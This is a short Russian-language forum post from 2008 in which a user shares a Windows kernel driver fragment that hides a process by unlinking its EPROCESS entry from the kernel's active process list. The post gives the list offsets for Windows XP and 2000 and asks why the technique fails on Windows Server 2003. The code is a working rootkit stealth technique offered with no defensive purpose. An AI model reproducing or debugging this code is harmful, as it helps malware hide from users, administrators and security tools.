проблемы с PLIST_ENTRY

Тема в разделе "LANGS.C", создана пользователем 0x00, 9 май 2008.

  1. 0x00

    0x00 New Member

    Публикаций:
    0
    Регистрация:
    9 май 2008
    Сообщения:
    11
    такая проблема возникла.
    драйвер для скрытия процесса.
    есть код:
    Код (Text):
    1.                 if(PsLookupProcessByProcessId((PVOID)hps->uPid, &pEProc) == STATUS_SUCCESS){
    2.                     DbgMsg("openning plist\n");
    3.                     dwEProcAddr = (ULONG) pEProc;
    4.                     __try{
    5.                         pListProcs = (PLIST_ENTRY) (dwEProcAddr + hps->uFlinkOffset);
    6.                         *((ULONG*) pListProcs->Blink) = (ULONG) (pListProcs->Flink);
    7.                         *((ULONG*) pListProcs->Flink+1) = (ULONG) (pListProcs->Blink);
    8.                         pListProcs->Flink = (PLIST_ENTRY) &(pListProcs->Flink);
    9.                         pListProcs->Blink = (PLIST_ENTRY) &(pListProcs->Flink);
    10.                     }__except(EXCEPTION_EXECUTE_HANDLER){
    11.                         DbgMsg("error with modification plist\n");
    12.                         NtStatus = GetExceptionCode();
    13.                     }
    14.                     NtStatus = STATUS_SUCCESS;
    15.                 }
    передаю смещение uFlinkOffset 0x88 прекрасно работает в win XP.
    насколько я знаю для windows 2000 смещение 0xA0 и для windows 2003 также как и для виндовс XP 0x88

    вообщем суть проблемы - не работает в виндовс 2003.. хз почему.. у когонибудь есть догадки?